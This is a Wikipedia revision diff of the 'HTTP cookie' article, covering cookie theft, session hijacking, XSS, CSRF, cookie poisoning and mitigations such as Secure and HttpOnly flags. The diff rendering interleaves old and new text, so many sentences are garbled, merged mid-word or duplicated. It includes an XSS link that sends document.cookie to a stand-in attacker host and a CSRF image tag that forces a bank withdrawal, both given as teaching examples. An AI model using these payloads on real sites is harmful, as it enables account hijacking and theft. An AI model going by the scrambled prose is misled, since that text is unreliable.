HTTP cookie: Difference between revisions

Revision as of 00:17, 31 January 2011

Revision as of 01:36, 31 January 2011

Line 251:

<!--We need some information in here about the use of third party logins within iframes, these effectively create a third party cookie, and some browsers/servers incorrectly report this denial as being that cookies have been disabled, when of course they have not, its just that third party cookies have been disabled In particular this is a problem on the iphone and the ipad (safari in general?), which only allow 3 options "always", "never" and "only sites that I visit" allowing no option for third party cookies in the scenario above-->

== Cookie Theft and Session Hijacking ==

== Drawbacks of cookies ==

Most websites use cookies as the only identifiers for user sessions – the alternatives of identifying web users other than using cookies have their own limitations and vulnerabilities. For the websites using cookies as session identifiers, attackers can impersonate users’ requests if they have stolen a full set of victims’ cookies. From web server point of view, a request from attacker will have the same authentication as the victim’s and hence is performed on behalf of victim’s session, with that, victim’s session is hijacked.

Below explains various scenarios of cookie theft and user session hijacking (even without stealing user cookies), for websites that rely solely on HTTP Cookies for user identifications.

Besides privacy concerns, cookies also have some technical drawbacks. In particular, they do not always accurately identify users, they can be used for security attacks, and they are often at odds with the Representational State Transfer

([[Representational State Transfer|REST]]) software architectural style.<ref>{{cite news

| url=http://roy.gbiv.com/pubs/dissertation/evaluation.htm

| title=Fielding Dissertation: CHAPTER 6: Experience and Evaluation

| author=Roy Fielding

| date=2000

| accessdate=2010-10-14 }}

</ref><ref>{{cite web|first=Stefan |last=Tilkov |url=http://www.infoq.com/articles/rest-anti-patterns |title=REST Anti-Patterns |publisher=InfoQ |date=July 2, 2008 |accessdate=2009-01-04}}</ref>

=== InaccurateNetwork identificationEavesdropping ===

[[File:Cookie-sniffing.svg|thumb|A cookie can be stolen by another computer that is allowed reading from the network]]

Cookies can be stolen via [[packet sniffing]] in an attack called [[session hijacking]]. Traffic on a network can be intercepted and read by computers on the network other than its sender and its receiver (particularly onover [[plaintext|unencrypted]] publicopen [[Wi-Fi]] networks). This traffic includes cookies sent on ordinary unencrypted [[HTTP]] sessions. Where network traffic is not encrypted, malicious usersattackers can therefore read the communications of other users on the network, including theirHTTP cookies, usingas programswell calledas [[packetthe sniffer]]sentire contents of the conversations.

So if the attackers wanted more than just eavesdropping, they could use harvested cookies, impersonate a user to perform a malicious task, like transfer money out of victim’s account.

If more than one browser is used on a computer, each usually has a separate storage area for cookies. Hence cookies do not identify a person, but a combination of a user account, a computer, and a Web browser. Thus, anyone who uses multiple accounts, computers, or browsers has multiple sets of cookies.

This issue can be overcomeresolved by securing the communication between the user's computer and the server by employing [[Transport Layer Security]] ([[HTTPS]] protocol) to encrypt the connection. A server can specify the ''secure flagSecure'' flag while setting a cookie; the browser will thenonly send it only over aan secureencrypted channel, such as an [[Secure Sockets Layer|SSL]] connection.<ref>[http://www.w3.org/Protocols/rfc2109/rfc2109 HTTP State Management].</ref>

Likewise, cookies do not differentiate between multiple users who share the same [[user account]], computer, and browser.

=== Publishing false sub-___domain – [[DNS cache poisoning]] ===

=== Cookie hijacking ===

Via [[DNS cache poisoning]], an attacker might be able to make a DNS server to cache a fabricated DNS entry, say <code>f12345.www.example.com</code> with attacker’s server IP address. And then, the attacker can post an image URL from his own server (for example, <code><nowiki>http://f12345.www.example.com/img_4_cookie.jpg</nowiki></code>). Victims reading attacker’s message, would download this image from <code>f12345.www.example.com</code>. Since <code>f12345.www.example.com</code> is a sub-___domain of <code>www.example.com</code>, victims’ browsers would submit all <code>example.com</code> related cookies to the attacker’s server; the compromised cookies would also include ''HttpOnly'' cookies.

This vulnerability is usually for [[Internet Service Provider]]s to fix, by securing their DNS servers. But it can also be mitigated if <code>www.example.com</code> is using ''Secure'' cookies. Victims’ browsers will not submit ''Secure'' cookies if the attacker’s image is not using encrypted connections. If attacker chose to use [[HTTPS]] for his img_4_cookie.jpg download, he would have the challenge of obtaining an SSL certificate for <code>f12345.www.example.com</code> from a [[Certificate Authority]]. Without proper SSL certificate, victims’ browser would display (usually very visible) warning messages about the invalid certificate, hence alert victims and probably the security officials from <code><nowiki>www.example.com</nowiki></code>.

[[File:Cookie-sniffing.svg|thumb|A cookie can be stolen by another computer that is allowed reading from the network]]

During normal operation, cookies are sent back and forth between a server (or a group of servers in the same ___domain) and the computer of the browsing user. Since cookies may contain sensitive information (user name, a token used for [[authentication]], etc.), their values should not be accessible to other computers. Cookie theft is the act of intercepting cookies by an unauthorized party.

=== [[Cross-site scripting]] – cookie theft ===

Cookies can be stolen via [[packet sniffing]] in an attack called [[session hijacking]]. Traffic on a network can be intercepted and read by computers on the network other than its sender and its receiver (particularly on [[plaintext|unencrypted]] public [[Wi-Fi]] networks). This traffic includes cookies sent on ordinary unencrypted [[HTTP]] sessions. Where network traffic is not encrypted, malicious users can therefore read the communications of other users on the network, including their cookies, using programs called [[packet sniffer]]s.

[[File:Cookie-theft.svg|thumb|Cross-site scripting: a cookie that should be only exchanged between a server and a client is sent to another party.]]

In particular, scriptingScripting languages such as [[JavaScript]] and [[JScript]] are usually allowed to access cookie values and have some means to send arbitrary values to arbitrary servers on the Internet. These facts are used in combination with sites allowing users to post HTML content that other users can see.

As an example, an attacker running themay ___domainpost a message on <code>www.example.com</code> may post a comment to a popular blog they do not otherwise control containingwith the following link:

This issue can be overcome by securing the communication between the user's computer and the server by employing [[Transport Layer Security]] ([[HTTPS]] protocol) to encrypt the connection. A server can specify the ''secure flag'' while setting a cookie; the browser will then send it only over a secure channel, such as an [[Secure Sockets Layer|SSL]] connection.<ref>[http://www.w3.org/Protocols/rfc2109/rfc2109 HTTP State Management].</ref>

:<code><nowiki><a href="#" onclick="window.___location='http://exampleattacker.com/stole.cgi?text='+escape(document.cookie); return false;">Click here!</a></nowiki></code>

However a large number of websites, although using encrypted [[HTTPS]] communication for user [[authentication]] (i.e. the [[Logging (computer security)|login]] page), subsequently send session cookies and other data over ordinary, [[unencrypted]] [[HTTP]] connections for performance reasons. Attackers can therefore easily intercept the cookies of other users and impersonate them on the relevant websites<ref>{{cite news|url=http://news.bbc.co.uk/2/hi/technology/6929258.stm|publisher=BBC News|date=August 3, 2007|title=Warning of webmail wi-fi hijack}}</ref> or use them in a [[cookiemonster attack]].

When another user clicks on this link, the browser executes the piece of code within the <code>onclick</code> attribute, thus replacing the string <code>document.cookie</code> with the list of cookies of the user that are active for the page. As a result, this list of cookies is sent to the <code>exampleattacker.com</code> server,. andIf the attackerattacker’s posting is thenon able<code><nowiki>https://www.example.com/somewhere</nowiki></code>, tosecure collectcookies thewill cookiesalso be sent to attacker.com ofin otherplain userstext.

[[File:Cookie-theft.svg|thumb|Cross-site scripting: a cookie that should be only exchanged between a server and a client is sent to another party.]] A different way to steal cookies is [[cross-site scripting]] and making the browser itself send cookies to malicious servers that should not receive them. Modern browsers allow execution of pieces of code retrieved from the server. If cookies are accessible during execution, their value may be communicated in some form to servers that should not access them. Encrypting cookies before sending them on the network does not help against this attack.<ref>[http://www.cgisecurity.com/xss-faq.html#theft "Can you show me what XSS cookie theft looks like?"] (except from the Cgisecurity [http://www.cgisecurity.com/xss-faq.html Cross-Site Scripting FAQ]).</ref>

Cross-site scripting is a constant threat, as there are always some crackers trying to find a way of slipping in script tags to websites. It is the responsibility of website development to filter out such malicious code.

This type of cross-site scripting is typically exploited by attackers on sites that allow users to post [[HTML]] content. By embedding a suitable piece of code in an HTML post, an attacker may receive cookies of other users. Knowledge of these cookies can then be exploited by connecting to the same site using the stolen cookies, thus being recognised as the user whose cookies have been stolen.

In the mean time, such attacks can be mitigated by using ''HttpOnly'' cookies. These cookies will not be accessible by client side script, and therefore the attacker will not be able to gather these cookies.

A way for preventing such attacks is by using the HttpOnly flag;<ref name="microsoft533046">Microsoft, [http://msdn.microsoft.com/en-us/library/ms533046.aspx Mitigating Cross-site Scripting With HTTP-only Cookies].</ref> this is an option, first introduced by Microsoft in Internet Explorer version 6 SP1<ref>{{cite web|url=https://www.owasp.org/index.php/HTTPOnly#Who_developed_HTTPOnly.3F_When.3F |title=Who developed HTTPOnly? When? |publisher=OWASP |date= |accessdate=2009-01-04}}</ref> and implemented in PHP since version 5.2.0<ref>{{cite web|url=http://www.php.net/manual/en/function.session-set-cookie-params.php |title=Session set cookie params |work=PHP Manual |publisher=PHP |accessdate=2009-01-04}}</ref> that is intended to make a cookie inaccessible to client side script. However, [[web developer]]s should consider developing their websites so that they are immune to cross-site scripting.<ref>Microsoft, [http://msdn.microsoft.com/msdnmag/issues/02/09/securitytips/default.aspx Defend Your Code with Top Ten Security Tips Every Developer Must Know].</ref>

=== [[Cross-site cookingscripting]] – just do it ===

Another potential security threat using cookies is the [[Cross-Site Request Forgery]].

If an attacker was able to insert a piece of script to a page on <code>www.example.com</code>, and a victim’s browser was able to execute the script, the script could simply do the attack. This attack would use victim’s browser to send HTTP requests to servers directly, therefore, victim’s browser would submit all relevant cookies, including ''HttpOnly'' cookies, as well as ''Secure'' cookies if the script request is on [[HTTPS]].

For example, on MySpace, Samy posted a short message “Samy is my hero” on his profile, with a hidden script to send Samy “friend request” and then post the same message on victim’s profile. A user reading Samy’s profile would send Samy “friend request” and post the same message on this person’s profile. Then, the third person reading second person’s profile would do the same. Pretty soon, this [[Samy worm]] became one of the fastest spreading viruses of all time.

=== Cookie theft ===

=== Cross-site scripting – proxy request ===

The cookie specifications constrain cookies to be sent back only to the servers in the same ___domain as the server from which they originate. However, the value of cookies can be sent to other servers using means different from the <code>Cookie</code> header.

In older version of browsers, there were security holes allowing attackers to script a proxy request by using [[XMLHttpRequest]]. For example, a victim is reading an attacker’s posting on <code>www.example.com</code>, and the attacker’s script is executed in victim’s browser, the script generates a request to <code>www.example.com</code> with proxy server <code>attacker.com</code>. Since the request is for <code>www.example.com</code>, all <code>example.com</code> cookies will be sent along with the request, but routed through attacker’s proxy server, hence, the attacker can harvest victim’s cookies.

This attack would not work for ''Secure'' cookie, since ''Secure'' cookies go with [[HTTPS]] connections, and its protocol dictates end-to-end encryption, i.e., the information is encrypted on user’s browser and decrypted on the destination server <code>www.example.com</code>, so the proxy servers would only see encrypted bits and bytes.

In particular, scripting languages such as [[JavaScript]] and [[JScript]] are usually allowed to access cookie values and have some means to send arbitrary values to arbitrary servers on the Internet. These facts are used in combination with sites allowing users to post HTML content that other users can see.

=== Cross-site Request Forgery ===

As an example, an attacker running the ___domain <code>example.com</code> may post a comment to a popular blog they do not otherwise control containing the following link:

{{main|Cross-site Request Forgery}}

For example, Bob might be browsing a chat forum where another user, Mallory, has posted a message. Suppose that Mallory has crafted an HTML image element that references an action on Bob's bank's website (rather than an image file), e.g.,

:<code><nowiki><a href="#" onclick="window.___location='http://example.com/stole.cgi?text='+escape(document.cookie); return false;">Click here!</a></nowiki></code>

: <code><nowiki><img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"></nowiki></code>

When another user clicks on this link, the browser executes the piece of code within the <code>onclick</code> attribute, thus replacing the string <code>document.cookie</code> with the list of cookies of the user that are active for the page. As a result, this list of cookies is sent to the <code>example.com</code> server, and the attacker is then able to collect the cookies of other users.

If Bob's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then the attempt by Bob's browser to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without Bob's approval.

This type of attack is difficult to detect on the user side because the script is coming from the same ___domain that has set the cookie, and the operation of sending the value appears to be authorized by this ___domain. It is usually considered the responsibility of the administrators running sites where users can post to disallow the posting of such malicious code.

Cookies are not directly visible to client-side programs such as JavaScript if they have been sent with the HttpOnly flag. From the point of view of the server, the only difference with respect of the normal case is that the set-cookie header line is added a new field containing the string `HttpOnly':

== Drawbacks of cookies ==

:<code>Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; ___domain=.example.net; HttpOnly</code>

Besides privacy concerns, cookies also have some technical drawbacks. In particular, they do not always accurately identify users, they can be used for security attacks, and they are often at odds with the Representational State Transfer

When the browser receives such a cookie, it is supposed to use it as usual in the following HTTP exchanges, but not to make it visible to client-side scripts.<ref name="microsoft533046"/> The `HttpOnly` flag is still in RFC draft<ref name="httponlyrfc"/>, but it is implemented in many popular browsers (MSIE, Firefox, Chrome, to name a few). The security hole of exposing HttpOnly cookie via [[XMLHttpRequest]]<ref>{{cite web|url=https://www.owasp.org/index.php/HTTPOnly#Browsers_Supporting_HTTPOnly |title=Browsers Supporting HTTPOnly |publisher=OWASP |date= |accessdate=2009-01-04}}</ref> has been plugged, most notable and most recent fix was on Fixfox<ref>Mozilla [http://www.mozilla.org/security/announce/2009/mfsa2009-05.html Mozilla Foundation Security Advisory 2009-05]</ref>.

([[Representational State Transfer|REST]]) software architectural style.<ref>{{cite news

[[File:Cookie-poison.svg|thumb|Cookie poisoning: an attacker sends a server an invalid cookie, possibly modifying a valid cookie it previously received from the server.]]

| url=http://roy.gbiv.com/pubs/dissertation/evaluation.htm

| title=Fielding Dissertation: CHAPTER 6: Experience and Evaluation

| author=Roy Fielding

| date=2000

| accessdate=2010-10-14 }}

</ref><ref>{{cite web|first=Stefan |last=Tilkov |url=http://www.infoq.com/articles/rest-anti-patterns |title=REST Anti-Patterns |publisher=InfoQ |date=July 2, 2008 |accessdate=2009-01-04}}</ref>

=== CookieInaccurate poisoningidentification ===

If more than one browser is used on a computer, each usually has a separate storage area for cookies. Hence cookies do not identify a person, but a combination of a user account, a computer, and a Web browser. Thus, anyone who uses multiple accounts, computers, or browsers has multiple sets of cookies.

While cookies are supposed to be stored and sent back to the server unchanged, an attacker may modify the value of cookies before sending them back to the server. If, for example, a cookie contains the total value a user has to pay for the items in their shopping basket, changing this value exposes the server to the risk of making the attacker pay less than the supposed price. The process of tampering with the value of cookies is called ''cookie poisoning'', and is sometimes used after cookie theft to make an attack persistent.

[[File:Cookie-cooking.svg|thumb|In cross-site cooking, the attacker exploits a browser bug to send an invalid cookie to a server.]]

Likewise, cookies do not differentiate between multiple users who share the same [[user account]], computer, and browser.

Most websites, however, store only a session identifier&nbsp;— a randomly generated unique number used to identify the user's session&nbsp;— in the cookie itself, while all the other information is stored on the server. In this case, the problem of cookie poisoning is largely eliminated.

=== Cross-site cooking ===

Each site is supposed to have its own cookies, so a site like [[example.com]] should not be able to alter or set cookies for another site, like [[example.org]]. [[Cross-site cooking]] vulnerabilities in web browsers allow malicious sites to break this rule. This is similar to cookie poisoning, but the attacker exploits non-malicious users with vulnerable browsers, instead of attacking the actual site directly. The goal of such attacks may be to perform [[session fixation]].

Users are advised to use the more recent versions of web browsers in which such issues are mitigated.

=== Inconsistent state on client and server ===

The use of cookies may generate an inconsistency between the state of the client and the state as stored in the cookie. If the user acquires a cookie and then clicks the "Back" button of the browser, the state on the browser is generally not the same as before that acquisition. As an example, if the shopping cart of an online shop is built using cookies, the content of the cart may not change when the user goes back in the browser's history: if the user presses a button to add an item in the shopping cart and then clicks on the "Back" button, the item remains in the shopping cart. This might not be the intention of the user, who possibly wanted to undo the addition of the item. This can lead to unreliability, confusion, and bugs. Web developers should therefore be aware of this issue and implement measures to handle such situations as this.

=== Cookie expiry ===

Persistent cookies have been criticized by privacy experts for not being set to expire soon enough, and thereby allowing websites to track users and build up a profile of them over time.<ref>{{cite news|url=http://www.news.com/8301-10784_3-9745630-7.html|title=Google expires cookies sooner in minor privacy concession|date=June 16, 2007|accessdate=2007-11-07|publisher=[[Cnet]]}}</ref> This aspect of cookies also compounds the issue of [[session hijacking]], because a stolen persistent cookie can potentially be used to impersonate a user for a considerable period of time.

== Alternatives to cookies ==